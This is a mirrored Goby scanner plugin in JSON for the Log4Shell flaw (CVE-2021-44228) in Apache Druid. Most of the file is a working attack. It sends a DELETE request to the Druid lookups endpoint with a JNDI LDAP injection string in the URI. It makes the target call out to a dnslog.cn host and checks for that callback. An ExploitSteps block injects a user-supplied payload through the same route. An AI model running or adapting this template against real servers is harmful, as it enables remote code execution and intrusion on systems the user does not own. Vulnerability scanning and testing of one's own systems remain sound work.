mirror of https://github.com/qwqdanchun/Goby.git
136 lines
4.7 KiB
JSON
136 lines
4.7 KiB
JSON
{
|
|
"Name": "Apache Druid Log4shell CVE-2021-44228",
|
|
"Level": "3",
|
|
"Tags": [
|
|
"rce"
|
|
],
|
|
"GobyQuery": "title==\"Apache Druid\"",
|
|
"Description": "Apache Druid存在log4j漏洞。",
|
|
"Product": "Apache Druid",
|
|
"Homepage": "https://druid.apache.org/",
|
|
"Author": "aetkrad",
|
|
"Impact": "",
|
|
"Recommendation": "",
|
|
"References": [
|
|
"https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis"
|
|
],
|
|
"HasExp": true,
|
|
"ExpParams": [
|
|
{
|
|
"Name": "cmd",
|
|
"Type": "input",
|
|
"Value": "$%7bjndi:ldap:%2f%2fdnslog.cn%2ftea%7d"
|
|
}
|
|
],
|
|
"ExpTips": {
|
|
"Type": "",
|
|
"Content": ""
|
|
},
|
|
"ScanSteps": [
|
|
"AND",
|
|
{
|
|
"Request": {
|
|
"method": "GET",
|
|
"uri": "http://www.dnslog.cn/getdomain.php",
|
|
"follow_redirect": false,
|
|
"header": null,
|
|
"data_type": "text",
|
|
"data": "",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": [
|
|
{
|
|
"type": "item",
|
|
"variable": "$code",
|
|
"operation": "==",
|
|
"value": "200",
|
|
"bz": ""
|
|
}
|
|
]
|
|
},
|
|
"SetVariable": [
|
|
"dnstest|lastbody||"
|
|
]
|
|
},
|
|
{
|
|
"Request": {
|
|
"method": "DELETE",
|
|
"uri": "/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2f{{{dnstest}}}%2ftea%7d",
|
|
"follow_redirect": false,
|
|
"header": null,
|
|
"data_type": "text",
|
|
"data": "",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": []
|
|
},
|
|
"SetVariable": [
|
|
"output|lastbody|regex|"
|
|
]
|
|
},
|
|
{
|
|
"Request": {
|
|
"method": "GET",
|
|
"uri": "http://www.dnslog.cn/getrecords.php",
|
|
"follow_redirect": false,
|
|
"header": null,
|
|
"data_type": "text",
|
|
"data": "",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": [
|
|
{
|
|
"type": "item",
|
|
"variable": "$code",
|
|
"operation": "==",
|
|
"value": "200",
|
|
"bz": ""
|
|
},
|
|
{
|
|
"type": "item",
|
|
"variable": "$body",
|
|
"operation": "contains",
|
|
"value": "{{{dnstest}}}",
|
|
"bz": ""
|
|
}
|
|
]
|
|
},
|
|
"SetVariable": [
|
|
"output|lastbody|regex|"
|
|
]
|
|
}
|
|
],
|
|
"ExploitSteps": [
|
|
"AND",
|
|
{
|
|
"Request": {
|
|
"method": "DELETE",
|
|
"uri": "/druid/coordinator/v1/lookups/config/{{{cmd}}}",
|
|
"follow_redirect": false,
|
|
"header": null,
|
|
"data_type": "text",
|
|
"data": "",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": []
|
|
},
|
|
"SetVariable": [
|
|
"output|lastbody|regex|"
|
|
]
|
|
}
|
|
],
|
|
"PostTime": "2021-12-30 11:00:21",
|
|
"GobyVersion": "1.9.320"
|
|
} |